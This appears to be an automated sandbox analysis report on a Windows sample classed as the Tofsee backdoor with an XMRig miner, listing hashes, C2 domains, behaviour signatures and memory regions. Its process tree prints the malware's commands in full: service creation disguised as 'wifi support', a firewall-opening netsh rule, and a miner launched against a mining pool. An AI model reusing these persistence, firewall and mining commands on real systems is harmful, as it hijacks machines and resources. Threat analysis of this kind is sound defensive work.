Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    11-04-2023 05:06

General

  • Target

    file.exe

  • Size

    196KB

  • MD5

    c0e61d01289f3a5a54e54f53f05e669e

  • SHA1

    086df3e7728832745a0179c6a3368caddc6a5820

  • SHA256

    d0db1c583a923cc68693c9299997c8fe784295017d7d6e01a12dd8818bdf1ed8

  • SHA512

    5cf481318a2b75ced7108a5cfc52924b039e6e3a27e82ad0f916de59d3faf7b1ea2760457fbaa3bbece174cc5f6b384d4469ded279bc8bab2ad46cc6188a0928

  • SSDEEP

    3072:4w28CrrrZi8q+8Wxmftll6Y1Fj1Iy0b/cUNvA9Nmi2hgSp:b28Ada90mftl0Y1HkUSAKRZ

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1712
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hqebavdy\
      2⤵
        PID:1752
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\yfidcwwq.exe" C:\Windows\SysWOW64\hqebavdy\
        2⤵
          PID:1328
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hqebavdy binPath= "C:\Windows\SysWOW64\hqebavdy\yfidcwwq.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1008
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hqebavdy "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:580
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hqebavdy
          2⤵
          • Launches sc.exe
          PID:1676
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1364
      • C:\Windows\SysWOW64\hqebavdy\yfidcwwq.exe
        C:\Windows\SysWOW64\hqebavdy\yfidcwwq.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1484
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1636
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1596

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\yfidcwwq.exe

        Filesize

        13.2MB

        MD5

        d29dd298093667f6b4f030aabea91458

        SHA1

        0f9ab2e80ff5f1e7b846d24f5bcf4d780b0c37f6

        SHA256

        af603295574ae1575005b8e94ab889cd2e8d86a53088382610cc1202ec1cf0e6

        SHA512

        979793e4761b8038f168215573a010835645b26839d4678f6b399befec5688fe9d4ee0143869807ec7e98b83473ffec65c4397eed4aef7722a8f2157e6200598

      • C:\Windows\SysWOW64\hqebavdy\yfidcwwq.exe

        Filesize

        13.2MB

        MD5

        d29dd298093667f6b4f030aabea91458

        SHA1

        0f9ab2e80ff5f1e7b846d24f5bcf4d780b0c37f6

        SHA256

        af603295574ae1575005b8e94ab889cd2e8d86a53088382610cc1202ec1cf0e6

        SHA512

        979793e4761b8038f168215573a010835645b26839d4678f6b399befec5688fe9d4ee0143869807ec7e98b83473ffec65c4397eed4aef7722a8f2157e6200598

      • memory/1484-64-0x0000000000400000-0x00000000004A0000-memory.dmp

        Filesize

        640KB

      • memory/1596-111-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1596-124-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1596-123-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1596-122-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1596-120-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1596-121-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1596-119-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1596-112-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1636-88-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1636-94-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1636-75-0x0000000001CA0000-0x0000000001EAF000-memory.dmp

        Filesize

        2.1MB

      • memory/1636-76-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

      • memory/1636-79-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1636-82-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1636-83-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1636-84-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1636-85-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1636-86-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1636-87-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1636-61-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1636-90-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1636-89-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1636-91-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1636-92-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1636-93-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1636-72-0x0000000001CA0000-0x0000000001EAF000-memory.dmp

        Filesize

        2.1MB

      • memory/1636-95-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1636-96-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1636-97-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1636-98-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1636-99-0x00000000000C0000-0x00000000000C5000-memory.dmp

        Filesize

        20KB

      • memory/1636-102-0x00000000000C0000-0x00000000000C5000-memory.dmp

        Filesize

        20KB

      • memory/1636-103-0x00000000057C0000-0x0000000005BCB000-memory.dmp

        Filesize

        4.0MB

      • memory/1636-106-0x00000000057C0000-0x0000000005BCB000-memory.dmp

        Filesize

        4.0MB

      • memory/1636-107-0x00000000001B0000-0x00000000001B7000-memory.dmp

        Filesize

        28KB

      • memory/1636-70-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1636-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1636-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1636-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1636-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1636-63-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1712-56-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/1712-58-0x0000000000400000-0x00000000004A0000-memory.dmp

        Filesize

        640KB